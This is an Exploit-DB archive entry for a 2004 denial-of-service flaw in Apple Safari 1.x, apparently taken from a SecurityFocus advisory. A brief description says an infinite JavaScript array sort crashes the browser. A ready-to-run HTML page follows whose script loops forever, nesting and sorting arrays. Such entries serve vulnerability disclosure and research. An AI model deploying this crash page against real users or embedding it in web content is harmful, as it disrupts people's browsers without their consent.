Apple Safari Web Browser 1.x - Infinite Array Sort Denial of Service

EDB-ID:

24780

CVE:

N/A


Platform:

OSX

Published:

2004-11-25

source: http://www.securityfocus.com/bid/11759/info

Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>